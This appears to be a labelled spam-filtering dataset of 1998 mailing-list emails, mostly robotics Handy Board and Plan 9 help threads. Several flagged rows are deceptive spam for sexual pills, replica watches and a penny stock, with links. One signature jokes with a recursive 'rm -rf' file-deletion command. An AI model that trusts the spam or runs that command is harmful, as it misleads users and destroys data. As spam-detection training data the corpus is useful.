1998 14:10:49 +0100",German Robotic User,"Hi all, i want to establish a German-Robotic-Group. Are there any german robotic users are interesting in this? I´m building sumo-roboters. You need more informations? Please mail bye bernd klein P.S. It is possible i will not answer during the next two weeks, because i´m not online, sorry ! ",0,0 Ernest tizicik ,handyboard@media.mit.edu,"Wed, 25 Nov 1998 17:01:57 +0800",re:,"SPUR-M Formula Increase sperm you produce 500% Shoot 5x your load and have powerful more satisfying orgasms. Complete satisfaction totally guaranteed by the industry leader - it is a money-back guarantee that has never been used by any of our millions of customers! This is the secret formula used by leading adult-film stars for their huge effects! Copy and paste the following URL into your browser: http://mudejyp.nphhu.com/s/ rojago lajuk foxyswoduvi ",1,1 somewhere@unm.edu,"""John A. Atkinson-Abutridy"" ","Wed, 25 Nov 1998 07:56:50 -0800",Re: Help,"Hi John, It depends on what kind of circuit your infrared sensors are in. An infrared diode or transistor can not be hooked directly into the HB. They have to be biased properly and the signal amplified to be compatible with either the digital or analog inputs. One way of getting useful information from your pair of sensors is to bias your raw sensors properly. For small targets at large distances, find a set of lenses from Edmund Scientific to focus your target image on the IR sensor. The formulas for computing the focal lengths needed are in most basic Physics texts. IR will focus like visible light except the focal length changes by a factor n because of the different frequency of light. Then find two sets of three tubes (any material durable enough for the project)that will tightly slide over each other and are twice the focal length you will be using. Mount the large lense in the middle of the big tube. The other lense in the end of the second tube. And the infrared sensor at the end of the smallest tube. A hot melt glue gun works well. Make or find two small ferrous (iron based) metal enclosures to mount the sensors in. Cut a round hole just large enough to allow the focused diameter of the IR light in. Position the IR sensor at a known distance from the front of the metal enclosure, but try to make the angle of the focus less than 45 degrees so that the sensor is mounted a short distance from the hole. Again hot melt will secure it nicely if the metal is coarse sand papered first. Mount the IR detector casing in the center of the end of the smallest tube (i.e. the focus of the lenses). Use a small length of triaxial cable to interface the IR sensor with your buffers/amplifiers. Use the triax shield to ground the IR sensor metal enclosure. Reasons: The ferrous enclosure is desirable because IR detectors are sensitive to electric fields and they will give false readings. The sourse IR intensity drops with the square of the distance. Therefore lenses increase the range of a sensor significantly and help to positively identify the position of the target. If a broader field of view is desired at short ranges, the lenses can be omitted. To electronically interface the sensors. A single source non-inverting op-amp can be used to tie directly into the Handy Board. This will allow a gain adjustment to get whatever deviation you want from the signal. And/or feed each sensor into a differential op-amp with offset control to monitor the difference between the sensors. If you are using two sensors, I'm guessing this is the signal you want anyway. Good luck in your experimentation, James Dunn John A. Atkinson-Abutridy wrote: > > Hi, I need to send and receive IR signal (not from remote controller) in > the > Handyboard > 1.- Could someone tell me what kind of routines I must use??? > > NOTE: I am not interested in getting codes from a RC, but also signal > to proccess differents intensities. > > 2.- The HB has an own IR receiver, I bought two more IR sensors, > Must i connect them to the digital port 0,1,2,3 ???? > > Thank you > John > > -- > John A. Atkinson-Abutridy EMAIL: atkinson@inf.udec.cl > Profesor Asistente > Dept. de Ingenieria Informatica URL: http://www.inf.udec.cl/~atkinson > Universidad de Concepcion > Concepcion, CHILE > > Phone: (56) (41) 204305 > Fax : (56) (41) 221770 ",0,1 Kevin Y Toledo ,handyboard@media.mit.edu,"Wed, 25 Nov 1998 17:46:10 +0400",want to make a baby? gehucev,"SPUR-M Formula Increase sperm you produce 500% Shoot 5x your usual load and have powerful more satisfying release. Complete satisfaction fully guaranteed by the industry leader - it is a money-back guarantee that has never been used by any of our million customers! This is the secret recipe used by top pron-stars for their huge effects! Copy and paste the following URL into your browser: http://xacijoke.nphhu.com/s/ wynivyhi haji gyhem ",1,1 bone@varesearch.com,ggilfoyl@richmond.edu,"Wed, 25 Nov 1998 12:23:23 -0800",Re: [sales] A modification to a previous price quote," > I recently received a quote from Mr. Tim O'Mahoney for a >Linux clsuter featuring 10 dual-pentium computers (quote number >981119-T1). I would like to modify two of the items in the >quote. I'll try to help you while Tim is on vaacation. Tim will be back December 7th. Please feel free to continue emailing sales@varesearch.com or call me directly at 1-888-LINUX-4U x125. I've quoted you three Panasonic 21"" monitors (20"" viewable). I also upgraded the video cards in two additional machines (for three total) to drive those monitors. >Item 7 is for a single 19"" monitor. I would like this changed to >three 20"" monitors. We will use one node in the cluster as a firewall >and put one of the monitors directly on that machine. The other >two monitors we will use with the two KVM switches for use with the >other nodes in the cluster. Unfortunately, I forgot to adjust the number of keyboard, mice, and keyboard/video/mouse cables. I'll do that with a future quote. >Item 8 is for an HP 5648 tape drive. I would like to change it to >two HP 5648 tape drives. Our experience has been that >more than a single tape drive can be very useful on these systems. I've raised the number of tape drives from 1 to 2. It appears from your quote that you were intending to put two 18GB drives in each system. If this is true, that won't work as originally quoted with the machines that house tape drives. The tape drives are double-height. Along with the CD-ROM, there isn't enough room for two 18GB drives. What I've done is quote two separate external disk drive enclosures for the two tape drive systems. For those two systems, we'll install the 18GB drives in the external enclosures. The other eight systems will have drives mounted internally. I also re-calculated your volume discount and have included shipping charges for shipment to Virginia. Doug VA Research ",0,0 bone@varesearch.com,ggilfoyl@richmond.edu,"Wed, 25 Nov 1998 13:13:17 -0800",Re: [sales] A modification to a previous price quote," Jerry, I'm faxing you a new quote. This includes three keyboards and mice (one per monitor). I've included nine keyboard/mouse/video cables. I've also deleted sound from 7 systems, as well as credited you for nine copies of the book ""Linux"" The Complete Reference"" and nine copies of the Red Hat Linux CD-ROM boxed set. That means you'd be getting 3 keyboards 3 mice 3 systems with sound 1 RH CD-ROM and manual 1 ""Linux: The Complete Reference"" book 9 sets of keyboard/mouse/video cabling Most of these involve small credits. Your total is now Subtotal: $ 72085.55 Tax: $ 0.00 Shipping: $ 608.00 Total: $ 72693.55 Please let me know if you have any questions or if this isn't what you need. Doug VA Research ",0,0 MAR ERICSON ,Handy Board mailing list ,"Wed, 25 Nov 1998 18:12:50 -0500",Controlling Parallel Port Pins,"This is kinda off the HB topic, sorry. How do you control the individual output states of the parallel port pins? I'm working with some students where they must use a parallel port to control the states transistors and chips that ultimately control a robot. Is there some simple C function or VB, etc. that will let you set the output states of the individual pins? They need to control 8 pins. Thanks for any leads. :) ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 """alain.janicki"" ",handyboard@media.mit.edu,,Hello!,"With our Soft Cial1s Tabs you wil1 be @bIe to chop the wood with your d1ck.(Warning: d0n�t try it). http://adjmckfhl.cutpro.info/?begifhlxwnvpyadjmzctck=2505547B87045B179484= =2505547B87045B179484= Ab0ut time! Harry snarled, as she 1anded light]y on top of her cage. You",1,1 Javaid Iqbal ,Randy Sargent ,"Thu, 26 Nov 1998 12:17:12 +1100",RE: pcode 3.2 beta with FP divide fix,"Hi Sargent, I have successfully downloaded the new version of pcode. I received the bootstrap message ""IC v3.2 beta 1"". I have done the arithmatic operations and got accurate answers. I would like to thank all those you helped me in solving this problem by taking personal interest. I would like to thank Mr Randy Sargent, Fred Martin and jon Howell for their special help. Regards Javaid Iqbal UNSW, Australia. ",0,0 James Ronald ,"MAR ERICSON , Handy Board mailing list ","Wed, 25 Nov 1998 21:21:52 -0500",Re: Controlling Parallel Port Pins,"Check out Jan Axelson's Lakeview Research. You won't be disappointed and you won't know where to start. :-) http://www.lvr.com/parport.htm >This is kinda off the HB topic, sorry. > >How do you control the individual output states of the parallel port pins? > >I'm working with some students where they must use a parallel port to >control the states transistors and chips that ultimately control a robot. > >Is there some simple C function or VB, etc. that will let you set the output >states of the individual pins? They need to control 8 pins. > >Thanks for any leads. :) > >----------- >ericson mar >Robotics Consultant >mar@cooper.edu >(212)353-4356 > >Department of Mechanical Engineering >The Cooper Union for the Advancement of Science and Art >------------------------------------------------------- > > ",0,1 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Thu, 26 Nov 1998 11:40:43 +0000",[9fans] dial M for Minimalism,"as a doctor, i am often asked ``why doesn't Plan 9 (or Inferno) use the `standard' socket calls?'' the source of tcpblast.c was recently posted to this list. it makes a tcp/ip call to a given machine. the bits that do so are shown below (i have completed the code that looks up the service name): #include #include #include #include ... struct sockaddr_in sock_in; struct servent *sp; struct hostent *host; ... memset(&sock_in, 0, sizeof (sock_in)); sock_in.sin_family = AF_INET; f = socket(AF_INET, SOCK_STREAM, 0); if (f < 0) { perror(""tcpblast: socket""); exit(3); } if (bind(f, (struct sockaddr*) &sock_in, sizeof (sock_in)) < 0) { perror(""tcpblast: bind""); exit(1); } host = gethostbyname(argv[1]); if (host) { sock_in.sin_family = host->h_addrtype; memmove(&sock_in.sin_addr, host->h_addr, host->h_length); } else { sock_in.sin_family = AF_INET; sock_in.sin_addr.s_addr = inet_addr(argv[1]); if (sock_in.sin_addr.s_addr == -1) { fprintf(stderr, ""tcpblast: %s unknown host\\n"", argv[1]); exit(1); } } sp = getservbyname(""discard"", ""tcp""); if (sp) sock_in.sin_port = sp->s_port; else sock_in.sin_port = htons(9); if (connect(f, (struct sockaddr*) &sock_in, sizeof(sock_in)) <0) { perror(""tcpblast connect:""); exit(1); } by contrast, in my variant for Plan 9, i wrote: #include #include ... fd = dial(netmkaddr(argv[0], ""tcp"", ""discard""), nil, nil, nil); if(fd < 0){ fprint(2, ""tcpbuzz: can't dial %s: %r\\n"", argv[0]); exits(""dial""); } the nil, nil, nil looks and sounds like a Eurovision Song Contest score, which is perhaps a blemish. (each nil represents a default that more specialised applications can set to access such things as port number assignment and the connection's control and status files. Inferno's dial interface is simpler still, partly because of the use of Limbo tuples.) apart from that, the incantation is straightforward and easy to write. because the interface and underlying infrastructure provides a good degree of abstraction, it also works without change for all suitable network types and protocols; it isn't limited to TCP/IP or IP networks. the connection service and name space together sort out the details; that the network files live in the per-process name space also enables the same code to dial through an imported gateway.",0,0 Franklin <973930@dcc.unicamp.br>,9fans@cse.psu.edu,"Thu, 26 Nov 1998 09:39:29 -0200",[9fans] RC shell," In Plan 9, how can I use the command: cat $TESTS | while read TESTLINE do ... done In Plan 9: TESTS = full.test cat $TESTS | while (read TESTLINE){ } term% rc program_rc TESTLINE: file does not exist Franklin. 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Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 Hezekiah Carmody ,martina@csc-sun.math.utah.edu,"Thu, 26 Nov 1998 05:48:28 -0500",Whats Hot Today?,"not plushy but tapestry try bookstore but abstain ! gamble ",1,0 Russ Cox ,9fans@cse.psu.edu,"Thu, 26 Nov 1998 10:36:47 -0500",re: [9fans] RC shell,"#!/bin/sh TESTS=full.test cat $TESTS | while(TESTLINE=`{read}) { ... } that clip look suspiciously like an hbench maindriver script. is there a reason to rewrite it rather than just run it under ape/psh? ",0,0 Jim Fong ,handyboard@media.mit.edu,"Thu, 26 Nov 1998 14:10:51 -0500",Re: source for pcode FP divide fix?,"Here's the HB 2.81 pcode with floating point divide fix. This new FLTDIV routine was giving to me by Jon Howell. I just patched the original math library with it and recompiled the pcode. I'm pretty sure this is the same fix that Newton Labs is using. I'm currently testing the recompiled 2.81 version of the pcode and haven't seen any problems yet. Please email me if you see any bugs. I did not change the HB start up message so make a backup copy of your original version of the pcode. If anyone is interested in the RugWarrior pcode version or a version with the new Smooth PWM drivers, let me know and I'll compile those and put them up. You can download a copy from my web site http://www.wenet.net/~jfong in the Design and Ideas section regards Jim Fong At 09:36 AM 11/26/98 -0500, you wrote: > Any chance that the source for the recent pcode FP divide >bugfix can be released so that it could be retrofitted to the 2.81 >freeware source? I'm not suggesting that Newton Labs actually do >the retrofit, just that the source for the patch be released. >Weren't the original FP routines freeware from Motorola? Of course, >there is always the disassembly option ;-) > > *Rich* >-- >Richard F. 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Besides, Is there any way to expand the input for the usage of digital port since the 9 digital ports i have finished used up ? rgds, phillip",0,0 """Fred G. Martin"" ",phillip chia ,"Sat, 28 Nov 1998 08:23:58 -0500",Re: How to use the addition analog port ? ,"these aren't actually additional ports. if you look at the PCB wiring you'll see that they're just connected to regular inputs 0-3. these extra connectors will be used by the expansion board. please look for an official notice regarding the exp board before the end of November! fred In your message you said: > Hi, > I need additional port for the analog input. I have used up 7 analog ports > and 9 digital ports. Hence, I need additional port from the HD. I came to > know that there are 4 extra analog port on the HD just above the analog > port 0 to 3. These additional ports are connected to PE0 to PE3 . HOW > should i command these ports to receive the input signal ? Eg, if > analog(3) <127 {........}. Then, How should I use such command for PE0 to > PE3 to operate on the HD? > > Besides, Is there any way to expand the input for the usage of digital port > since the 9 digital ports i have finished used up ? > > > rgds, > phillip >",0,0 Lewis Patterson ,handyboard@media.mit.edu,"Sat, 28 Nov 1998 08:34:27 -0600",Choosing a shaft encoder?,"As a neophyte robot builder and HandBoard user, may I ask for help in choosing the best shaft encoder? What vendor/supplier should I use? The current project is a very simple robot with a goal of accurate navigation. Thanks! ",0,0 jdunn@unm.edu,Handy Board ,"Sat, 28 Nov 1998 09:35:58 -0700","When people answer a question, I would like to broaden my knowledge as well. ","Please either carbon copy your solutions to me, or the HB mailing list. I see a lot of good questions, but only a very few peoples responses. Thank you, -- James Dunn NASA/Pursue Sensor Fusion/Mobile Navigation jdunn@unm.edu Chat# 14708321 Like a rose, life is sweet, with just enough thorns to make it interesting. _,--._.-, /\\_r-,\\_ ) .-.) _;='_/ (.; \\ \\' \\/S ) L.'-. _.'|-' <_`-'\\'_.'/ *-._( \\ ___ \\\\, ___ \\ .'-. \\\\ .-'_. / '._' '.\\\\/.-'_.' '--``\\('--' \\\\ `\\\\, \\|",0,0 jdunn@unm.edu,"Handy Board , phillip chia ","Sat, 28 Nov 1998 09:47:54 -0700",Re: How to use the addition analog port ?,"You can time share both your digital and your analog so long as your signal update speeds are not critical. Use a 4 to 8 demultiplexing chip for 4 of your digital I/O and an 8 to 4 multiplexer for the other 4. This effectively provides 8 digital inputs and 8 digital outputs. Extra assembly language needs to be done to encode and decode the respective signals. I'm sure there is a memory efficient way of doing this. The increased update times should be relatively minor depending upon the programming technique used. For more analog I/O, take one or more of the digital outputs and switch banks of analog signals to the analog inputs you have through solid state relays (there are IC chips made for this purpose with 8 bi-directional channels on a single chip). You can select each of the analog ports as either inputs or outputs independently for each bank by associating the setup with the particular multiplexed digital output. For signals that need to be monitored more frequently, they can be tied in to more than one bank, or you can sacrifice the number of analog channels and use some of your multiplexed digital inputs for interrupts to get immediate attention. If all of the digital I/O is used to select analog I/O, you could monitor or transmit 2 to the 8th times 8 standard analog plus 4 SP0 analog, or 3072 mixed analog inputs/outputs. And these can be used for digital inputs as well by doing a comparison (ie >127 is a 1) of the registers for inputs and selecting 255 for 1 or 0 for zero for digital outputs. Keep in mind though that the update time increases only for each bank of analog that you setup and select. Another way of increasing your update rate would be selecting those banks that need shorter update times more often and conditionally looking at others. There are other methods of bank switching analog and digital signals that could allow hundreds of billions of I/O, but the above implementation is relatively straight forward to understand and implement. phillip chia wrote: > > Hi, > I need additional port for the analog input. I have used up 7 analog ports > and 9 digital ports. Hence, I need additional port from the HD. I came to > know that there are 4 extra analog port on the HD just above the analog > port 0 to 3. These additional ports are connected to PE0 to PE3 . HOW > should i command these ports to receive the input signal ? Eg, if > analog(3) <127 {........}. Then, How should I use such command for PE0 to > PE3 to operate on the HD? > > Besides, Is there any way to expand the input for the usage of digital port > since the 9 digital ports i have finished used up ? > > rgds, -- James Dunn NASA/Pursue Sensor Fusion and Mobile Navigation jdunn@unm.edu Chat# 14708321 Like a rose, life is sweet, with just enough thorns to make it interesting. _,--._.-, /\\_r-,\\_ ) .-.) _;='_/ (.; \\ \\' \\/S ) L.'-. _.'|-' <_`-'\\'_.'/ *-._( \\ ___ \\\\, ___ \\ .'-. \\\\ .-'_. / '._' '.\\\\/.-'_.' '--``\\('--' \\\\ `\\\\, \\|",0,0 Will ,Handyboard Mailing List ,"Sat, 28 Nov 1998 10:40:44 -0700",Re: Choosing a shaft encoder?,"Lewis Patterson wrote: > As a neophyte robot builder and HandBoard user, may I ask > for help in choosing the best shaft encoder? I've had good results using the Hall-effect magnetic sensors that Patrick Hui sent with my HandyBoard. I glued magnets into three of the six holes in a Lego pulley wheel and glued the sensor into a small Lego brick. I don't know the part number, but I'm sure that the usual sources (Digikey, Mouser, etc.) probably have similar items. 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Designated trademarks and brands are the property of their respective owners.eBay and the eBay logo are trademarks of eBay Inc.",1,1 Francois ,handyboard@media.mit.edu,"Sat, 28 Nov 1998 19:36:24 +0000",Re: Choosing a shaft encoder?,"At 08:34 28/11/98 -0600, you wrote: >As a neophyte robot builder and HandBoard user, may I ask >for help in choosing the best shaft encoder? What vendor/supplier >should I use? The current project is a very simple robot with a >goal of accurate navigation. Thanks! > hy, I used HewlettPackard shaft encoders HEDL5540 (500 steps per revoltion) with HCTL2020 quadrature shaft counters/decoders. With them you get 500*4=2000 steps per revolution, which is quite a lot. For me They seem to be a good (but not cheap) solution. I know that other members of the mailing list are also using them.(You can find them in the mailing list archiv) I haven't done it yet but the software part seems to me more problematic. You will have to use sin and cos functions, and therefore the lack of precision may not only come from your encoders but from your software since errors add up. It's also CPU time consuming. I will work on this part during the chrismas hollidays. Meanwhile, if you are able to achieve a good positionning system, don't hesitate to tell me... Bye Francois ",0,0 Brandi Bonds ,handyboard@media.mit.edu,"Sat, 28 Nov 1998 10:48:38 -0500","wrinkles arrived, we can help","on hooch may yardage or robin some chump see bonaparte ",1,0 Keith ,handyboard@media.mit.edu,"Sat, 28 Nov 1998 16:29:31 -0600",Optrex lcd displays," I am trying to interface an Optrex DMC display to a miniboard. What pins besides the data lines need to be connected and to what? Anyone used these displays yet, I have two a one line x 16 characters and a two line x 16 characters. The pin out lists; Vcc Vss Vee I understand Vcc but what are the other two, and what is the E pin........ Any help would be appreciated Keith Lantaigne lectro@acadiacom.net ",0,0 GJZ@aol.com,"lewis@bsc.edu, handyboard@media.mit.edu","Sat, 28 Nov 1998 17:38:40 -0500",Re: Choosing a shaft encoder?,"i use US Digital encoders, www.usdigital.com. they are a bit costly, but very accurate, and have quite a few numbers of resolutions. good luck justin ",0,0 Keith ,handyboard@media.mit.edu,"Sat, 28 Nov 1998 17:21:05 -0600",Re: Optrex lcd displays,"I must apologize for my last request, upon further investigation I found an excellent resource that answers the questions i posed earlier. For anyone who might be interested, the source can be found at : LCD MODULE TECHNICAL REFERENCE (FAQ) Version 40(text), May 1996 1) Introduction About the ... includes source code for various processors. Keith At 04:29 PM 11/28/98 -0600, you wrote: > I am trying to interface an Optrex DMC display to a miniboard. What pins >besides the data lines need to be connected and to what? >Anyone used these displays yet, I have two a one line x 16 characters and a >two line x 16 characters. The pin out lists; > >Vcc >Vss >Vee > >I understand Vcc but what are the other two, and what is the E pin........ >Any help would be appreciated > >Keith Lantaigne >lectro@acadiacom.net >",0,1 jdunn@unm.edu,"lewis@bsc.edu, Handy Board ","Sat, 28 Nov 1998 16:31:45 -0700",Re: Choosing a shaft encoder?,"We're using a track drive system and we're going to be using L.E.D. proximity sensors off of the teeth of the track gears. The tank tracks appear to be very stable but it's still too early in the development to know how repeatable the robot movements are going to be. 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Has anyone else been trying to figure out the best approach to map an area and it's obstacles using less than 32k of memory? -- James Dunn jdunn@unm.edu Chat# 14708321 Like a rose, life is sweet, with just enough thorns to make it interesting. _,--._.-, /\\_r-,\\_ ) .-.) _;='_/ (.; \\ \\' \\/S ) L.'-. _.'|-' <_`-'\\'_.'/ *-._( \\ ___ \\\\, ___ \\ .'-. \\\\ .-'_. / '._' '.\\\\/.-'_.' '--``\\('--' \\\\ `\\\\, \\|",0,0 Will ,Handyboard Mailing List ,"Sat, 28 Nov 1998 18:17:09 -0700",Re: Has anyone been experimenting with mapping algorithms?,"jdunn@unm.edu wrote: > We've been reading up on the many different algorithms for mapping an > environment using autonomous robots. Has anyone else been trying to figure > out the best approach to map an area and it's obstacles using less than 32k > of memory? The two basic approaches are (1) a bitmap, and (2) a list of obstacle coordinates. A bitmap is just a grid of 1's and 0's indicating the presence of an obstacle at each grid point. It can be implemented as a 1-D integer array with a simple indexing function to specify the proper array index and bit. If you have 32 kilobytes available, you can map a grid up to about 500 x 500 points. A list of obstacle coordinates is more useful where the search area is very large and/or where the obstacles are fairly sparse and memory is at a premium. One way to store and retrieve the obstacle coordinates is in a hash table. You could cram both the x and y coordinates into a single integer. The list is a little harder to use algorithmically than a bitmap. I haven't actually tried these yet, so if you beat me to it, let me know how it works out. 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By using random ""goal"" and ""start"" positions in the evolution of the neural nets, it learns to avoid the obstacles and when in use, it does not need a ""goal"" after the net is evolved. I don't know if this is what you were talking about or not. It's fun to play with, though. :) On the 350MHz network I used to run the code for a known, simple course (four walls, two walls offor ""obstacles""), it took maybe 2 minutes to run a few thousand neural nets through a few thousand evolutionary generations. Then, the net was thrown into IC code, and tested. Did extremely well in my rather biased opinion :) -kr === Kate R. Junior, ME '01, Math '02 Iowa State University === > Hi everyone, > > We've been reading up on the many different algorithms for mapping an > environment using autonomous robots. Has anyone else been trying to figure > out the best approach to map an area and it's obstacles using less than 32k > of memory? > ",0,0 Emory Katz ,handyboard@media.mit.edu,"Sun, 29 Nov 1998 09:30:44 +0007",Re:,"Watch this company closely starting now! De Greko, Inc. (OTC: DGKO) WITHIN 45 DAYS, CLIXME AWARENESS CAMPAIGN TO BEGIN (This was announced Tuesday March 28, 7:45 am ET) The company is currently developing a campaign that will launch nationwide which will highlight the Clixme, ""Click to Call"" platform. In the next 45 days a media campaign will begin that will target not only customers for De Greko Communications but also show the investment community that the product is first rate and works efficiently. The company is currently targeting to obtain media coverage in: - Fortune Magazine, a Time Inc. Co. (TWX:NYSE) - Money Magazine, a Time Inc. Co. (TWX:NYSE) - Wall Street Journal, a Dow Jones Co (DJ:NYSE) - USA Today, a Division of Gannett Co. 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My sonar will generally not ""see"" smooth walls at an acute angle. You might get more consistent results and maybe a little more range out of your sonar if you change the code to compensate for the negative elapsed times. I think you could just add 32768 to the negative result. You may still occasionally get sporadic readings for other reasons (electrical noise, etc.). To filter out the noisy readings, try using the median of three consecutive readings. It works almost perfectly for my robot. Besides, the way I defined the timing of the pings, my sonar makes a ""galloping"" sound. Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, America's one of the finest countries Will Bain, anyone ever stole. & Tatoosh --Bobcat Goldthwait ",0,0 """Rentals D. Deducts"" ",Bait ,"Sun, 29 Nov 1998 09:40:02 -0400",//// A T CH E$!,"REPLICA //ATCHES BAZAAR! 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",1,1 Chris Johnson ,handyboard@media.mit.edu,"Sun, 29 Nov 1998 17:41:46 -0500",Good 9V motor source,"Hi all....I'm looking for a good source of 9V gear motors that i could use with the handyboard for a mobile robot. Currently, i am just using the little 9v motors that came with the board, which i have plugged into the cheap gearbox from a toy tank, and it is starting to fall apart. ive found that building the drive system is the most frustrating part of all my projects, and i was wondering what others have used and where they've gotten parts. i was considering modifying servos, but large enough ones tend to be upwards of $60 each, and i need 2. Any advice on good drive systems would be greatly appreciated. Thanks, -Chris Johnson GC Marshall High School, and just enrolled at Georgia Tech! ",0,0 Pierce ,"handyboard@media.mit.edu, kim@media.mit.edu, lorene@media.mit.edu, jennifer@media.mit.edu","Sun, 29 Nov 1998 14:18:26 -0500",Diminish your dinner to go thinner,"in beastie may kaleidoscope but phosphor , passe a elapse ",1,0 Will ,Handyboard Mailing List ,"Sun, 29 Nov 1998 16:54:38 -0700",Re: Good 9V motor source,"Chris Johnson wrote: > Hi all....I'm looking for a good source of 9V gear motors that i could > use with the handyboard for a mobile robot. Currently, i am just using > the little 9v motors that came with the board, which i have plugged into > the cheap gearbox from a toy tank, and it is starting to fall apart. > ive found that building the drive system is the most frustrating part of > all my projects, and i was wondering what others have used and where > they've gotten parts. i was considering modifying servos, but large > enough ones tend to be upwards of $60 each, and i need 2. > Any advice on good drive systems would be greatly appreciated. Try Lego Technic kits. Start with a basic kit like the Giant Model Set (#8277) for $44, and add a couple 9V mini gear motors (#5225) for $17.50 each and a gear assortment for $4.50. Call Lego Shop-At-Home for a catalog (1-800-453-4652). If that's more than you're willing to spend, the Mondotronics Robot Store (1-800-374-5764) has a Bulldozer kit for $40 that includes a twin-motor gearbox. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Few things are harder to put up with Will Bain, than the annoyance of a good example. & Tatoosh --Mark Twain ",0,0 Mike Downey ,handyboard@media.mit.edu,"Sun, 29 Nov 1998 20:05:48 -0500",Re: Good 9V motor source,">If that's more than you're willing to spend, the Mondotronics Robot >Store (1-800-374-5764) has a Bulldozer kit for $40 that includes a >twin-motor gearbox. The Bulldozer kit has a decent gearbox in it, however there are some problems with it. The motors are 3v, so you really need to use an alternate power supply. Also, the tracks are not very good at all and will not last under any real use. the motors aren't very efficient either and pull a lot of current for their small size. Overall i would not recommend the bulldozer kit. ",0,0 hugo916@iname.com,handyboard@media.mit.edu,"Sun, 29 Nov 1998 20:27:46 -0500",Extra output for clocking,"I have a stepper motor controlled by a Motorola MC3479 driver, which basically allows me to input a clock and the direction from the handyboard and the driver does the sequencing. So I'm using 2 pins from the HB's motor output for controlling the stepper motor. The problem is the pulsing for the clock from the motor output is not fast enough and thus the motor turns too slow. I've tried just doing a fd(0) and then bk(0), without a sleep(x) to obtain the maximum pulsing, but it seems there's a limit to how fast the HB can pulse the motor drivers. My question is can I use just one pin directly from the HC11 that can provide the clock signal to the MC3479 chip? I would assume I have to do a poke or bit_set? I'm looking at the shchematics and I see that PB7 seems to be not connected. Can I use that? Or is there a simpler solution to all of this? This is for micromouse project due in a month. So any help is greatly appreciated! Thanks! -Hugo Robertson --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Javaid Iqbal ,handyboard@media.mit.edu,"Mon, 30 Nov 1998 17:13:10 +1100",uncondition jump to label ,"Hi all, Can we use goto command in IC for unconditional jump to label. If yes, how. If no, any alternative any body using for this. Help would be much appreciated. regards Javaid Iqbal ",0,0 David Kott ,,"Sun, 29 Nov 1998 18:53:57 -0500",Re: Choosing a shaft encoder?,"On Sat, 28 Nov 1998 GJZ@aol.com wrote: > i use US Digital encoders, www.usdigital.com. they are a bit costly, but very > accurate, and have quite a few numbers of resolutions. good luck > > justin > > I would have to agree. We evaluated incremental encoders from US Digital. We purchased the ""low cost"" encoders and paid just over $54 US. -d # rsh -l God universe.all find / -name '*windows*' -exec rm -rf {} \\; ",0,0 Tey Chee Beng ,Handy Board mailing list ,"Mon, 30 Nov 1998 19:50:51 +0800",Print to IC's console window,"Hi, Does anyone know how to print messages to the IC's console window while running IC.exe. Is it true that the handy board can only work when the LCD is plugged onto the handy board ? It is because when ever it unplugged the LCD from the handy board, the host computer losses synchronization with the handy board. Thanks for helping... ",0,0 ljyoshkinua ,handyboard@media.mit.edu,,"As the list or your years is getting longer,",There are p1enty of penis enl@rging methods. The only que$ti0n 1s �which one is the best? The only answer is - Penis Enlarge Patch. http://www.teraful.net/pt/?51&FyZmhf,1,1 FThompson9@aol.com,handyboard@media.mit.edu,"Mon, 30 Nov 1998 08:14:53 -0500",Re: Extra output for clocking,"Hugo Robertson: One of the nice things about the 68HC11 chip is its well rounded timming system. Grab your Handy board Technical reference manual and have a look at page 48. PA0-3 are ""Input Capture"" pins. When the logic level changes (according to the programmed level) this system time is captured and interrupt flags set. The program can then tell exactly when something happened. PA3-PA6 are ""Output Compare"" pins. Each of these pins can have a ""time value"" assigned to them which causes them to change state. In addition there is a master time value which will change the state of all desired pins. People use these two registers to set the update frequency and duty cycle of this group of pins to control servos (like the ones used in radio control airplains). Using these timer pins you should be able to get clock signals into the hundreds of kilohertz. It looks like TOC3 is not being used, also TOC2 is going to the IR transmitter and might be available. TOC5 goes to the piezo speaker, you could use this if you either remove the speaker or put up with the noise. You may be able to control this system with peaks and pokes. We will need to hear from an Instant C guru to see learn how to handle the interrupt flags. Just peaking at the flag registers may be enough, unless their interrupt signal actually interrupts the CPU in which case you would need an interrupt service routine. Any one care to comment on writing interrupt service routines for IC? hope this helps Pherd ",0,0 wengd@optionshealthcare.com,"handyboard@media.mit.edu, chrisj@mindless.com","Mon, 30 Nov 1998 08:30:45 -0500",Good 9V motor source -Reply,"jameco (www.jameco.com) has several new gear head motors in the 3-12v range with various gear ratios. I ordered two for my latest project and they seem to be solid and up to the task. jameco's latest catalog also has some robotic stuff including molded gears and chains to help with the drive chain. check it out... -Drew >>> ""chrisj@mindless.com"" 11/29/98 05:42pm >>> Hi all....I'm looking for a good source of 9V gear motors that i could use with the handyboard for a mobile robot. Currently, i am just using Any advice on good drive systems would be greatly appreciated. ",0,0 """Fred G. Martin"" ",Tey Chee Beng ,"Mon, 30 Nov 1998 08:57:03 -0500",Re: Print to IC's console window ,"> Does anyone know how to print messages to the IC's console window while > running > IC.exe. there is no builtin way of doing this. to get msgs back over the serial line, see the FAQ question at: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#serial > Is it true that the handy board can only work when the LCD is plugged onto > the handy board ? It is because when ever it unplugged the LCD from the > handy board, the host computer losses synchronization with the handy board. you need a replacement pcode file to let the HB work without the LCD. see http://el.www.media.mit.edu/projects/handy-board/software/contrib.html to find it. fred ",0,1 Darkman ,"wengd@optionshealthcare.com, handyboard@media.mit.edu, chrisj@mindless.com","Mon, 30 Nov 1998 09:41:11 -0500",Re: Good 9V motor source -Reply,"These motors are exellent quality and very powerful the gears are metal and the motors does not exed 300 mA @12V stalled. I currently use the same motors on my robot and had no problems at all. I drive them using the motor drivers on the Handy Board and they don't even get hot. I highly recomend these motors! -----Original Message----- From: wengd@optionshealthcare.com To: handyboard@media.mit.edu ; chrisj@mindless.com Date: Monday, November 30, 1998 9:32 AM 